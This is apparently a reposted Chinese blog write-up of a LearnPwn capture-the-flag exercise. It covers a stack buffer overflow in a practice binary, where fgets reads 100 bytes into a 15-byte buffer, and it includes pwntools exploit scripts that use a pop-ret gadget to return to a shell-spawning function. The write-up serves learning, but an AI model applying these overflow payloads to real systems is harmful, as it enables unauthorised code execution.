1.Buffer_Overflow-1.Basic_Jump

这篇具有很好参考价值的文章主要介绍了1.Buffer_Overflow-1.Basic_Jump。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

github上面的练习题

git clone https://github.com/Adamkadaban/LearnPwn

然后开始做

先进行 readelf

1.Buffer_Overflow-1.Basic_Jump

 然后进行执行看看 是怎么回事

./buf1

1.Buffer_Overflow-1.Basic_Jump

 发现就是一个输入和输出

我们checksec看看

1.Buffer_Overflow-1.Basic_Jump

 发现stack 保护关闭 开启了NX保护

我们进入ida64看看反汇编

我习惯先看看字符串 SHITF+F12

1.Buffer_Overflow-1.Basic_Jump

发现/bin/sh

我们先去主函数看看有什么漏洞

进入一个函数 getName

1.Buffer_Overflow-1.Basic_Jump

 我们能看见 给了一个数组

然后下面又有一个fgets函数

fget()和get不同 不会无限输入

但是这里fgets 发现读取的大小为100 但是我们的s 只有15

这里我们就可以进行写入 因为他要读取 所以我们

可以把s和rbp填满垃圾字符 然后返回到shellcode地址

fget()
会读取指针所指的 并且大小限制的 
如果我们溢出字符串 将s和rbp覆盖了 后面就还有很大的空间 我们可以进行构造
因为返回的是100 所以我们构造的 他还是会直接返回 执行

1.Buffer_Overflow-1.Basic_Jump

 文章来源地址https://www.toymoban.com/news/detail-448425.html

类似这个 我们在覆盖了buf 和ret后 就可以进行构造了 因为他会读取100

shellcode地址我们很容易就发现

1.Buffer_Overflow-1.Basic_Jump

 exp

from pwn import *
p = process('./buf1')
payload=b'A'*(0xf+0x8)+p64(0x401224)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x4011BC)
p.sendline(payload)
p.interactive()

1.Buffer_Overflow-1.Basic_Jump

 问题 出现 code -11

他原本自带了 exp

但是我发现执行不了

1.Buffer_Overflow-1.Basic_Jump

我们进行排查后发现是栈不对齐

我们gdb看看1.Buffer_Overflow-1.Basic_Jump

 

我们发现 这里他

mov eax,0
pop rbp
ret

push rbp

执行力三条才到 rbp 这里就导致我们报错

我们该如何解决呢

我们自己设置返回即可

ROPgadget --binary ./buf1 --only 'pop|ret'

1.Buffer_Overflow-1.Basic_Jump

 使用这个寄存器 直接设置返回即可

#!/bin/python3

from pwn import *

p = process('./buf1')
e = ELF('./buf1') # This imports all the symbols in the binary

# context.log_level = 'debug'


offset = 0x7fffffffdfe8 - 0x7fffffffdfd1 # $rbp - $(locationOfInput)
loc = p64(e.symbols['openShell']) # \xcf\x11


payload = b'A'*offset
payload +=p64(0x401224)+p64(0)+p64(0)+p64(0)+p64(0)
payload +=loc


p.sendline(payload) # We send 0x17 (or 23) bytes of data because that was how far away from the stack pointer our variable was


p.interactive()

1.Buffer_Overflow-1.Basic_Jump

 

到了这里,关于1.Buffer_Overflow-1.Basic_Jump的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [leetcode] 55. Jump Game

    力扣 给定一个非负整数数组 nums ,你最初位于数组的 第一个下标 。 数组中的每个元素代表你在该位置可以跳跃的最大长度。 判断你是否能够到达最后一个下标。 示例 1: 输入:nums = [2,3,1,1,4] 输出:true 解释:可以先跳 1 步,从下标 0 到达下标 1, 然后再从下标 1 跳 3 步到

    2024年02月16日
    浏览(26)
  • 云计算项目七:jump-server安装部署

    Jumpserver是一款开源的堡垒机,可使系统的管理员和开发人员安全的连接到企业内部服务器上执行操作,并且支持大部分操作系统,是一款非常安全的远程连接工具 CentOS, RedHat, Fedora, Amazon LinuxDebianSUSE, UbuntuFreeBSD其他ssh协议硬件设备 没有公网IP需要购买,并进行绑定才能正常访

    2024年03月25日
    浏览(41)
  • LeetCode45.Jump-Game-II<跳跃游戏II>

    从上次大神那里获得的灵感  这题问的是次数,那么我们需要确保 1,能否跳到终点  2,得到次数. 第一次条获得的是nums[0],那么第一个数就是我们第一次能跳跃的范围.每次在范围里获得最大值.并且次数加一.然后进入下一次范围;即可得到次数;    

    2024年02月15日
    浏览(43)
  • Jump Point Search-跳点搜索法-原理&matlab代码-与A*算法比较(路径规划)

    目录 算法区别 1.A_star算法         2.JPS算法 3.搜索过程和结果对比动图 两个定义、三个规则(重点)       两个定义   定义一,强迫邻居(forced neighbour):   定义二,跳点(jump point): 三个规则  规则一 规则二 规则三  算法流程  1.A*算法 2.JPS算法  其他地图算法对

    2024年01月24日
    浏览(41)
  • CSS中的overflow,

    1.overflow:visible 我们先定义一段代码,这里文本内容会超出元素框: 运行结果: 这里是overflow的基本默认属性,文本不会被修剪,直接超出元素框。 2.over:hidden; 这个属性内容会被修剪,但是溢出的内容是无法看到的。 运行结果: 这里比较上面的属性,同样的元素框,但是溢

    2024年02月05日
    浏览(32)
  • overflow属性详解

    overflow属性详解_桃花扇J的博客-CSDN博客_overflow属性 原链接 overflow是对溢出内容的处理,有四个属性值visible,hidden,scroll,auto,且可以分别设置overflow-x,overflow-y,需要注意的是:当单独设置了overflow-x或者overflow-y为非visible时,另一个属性值默认为auto,如【例5】。下面先来介

    2024年02月09日
    浏览(35)
  • 前端必知:7.overflow 属性

    当元素内容超出其容器大小时,CSS  overflow  属性用于控制溢出内容的显示方式。它有多个可选值,用于不同的情况和需求。以下是最常用的  overflow  属性值: overflow: visible : 默认值。当内容超出容器大小时,会溢出容器并显示在容器外部,可能会遮盖其他元素。 overflow:

    2024年04月14日
    浏览(34)
  • 微信小程序 跳转页面经常会遇到判断是否登录情况。基于此需求,做了一个路由跳转拦截的jump组件

    组件代码非常简单 在根目录创建components目录 在components目录新建jump目录 在jump目录新建四个文件 index.js index.json index.wxml index.wxss 这个样式文件内容空就行

    2024年02月09日
    浏览(54)
  • CSS基础学习--15 CSS布局 - Overflow

    一、定义 CSS overflow 属性用于控制内容溢出元素框时显示的方式。 效果图: 二、overflow属性 2.1、属性表 值 描述 visible 默认值。内容不会被修剪,会呈现在元素框之外。 hidden 内容会被修剪,并且其余内容是不可见的。 scroll 内容会被修剪,但是浏览器会显示滚动条以便查看其

    2024年02月09日
    浏览(32)
  • 使用overflow实现多行文本的溢出部分处理

    测试结果

    2024年02月12日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包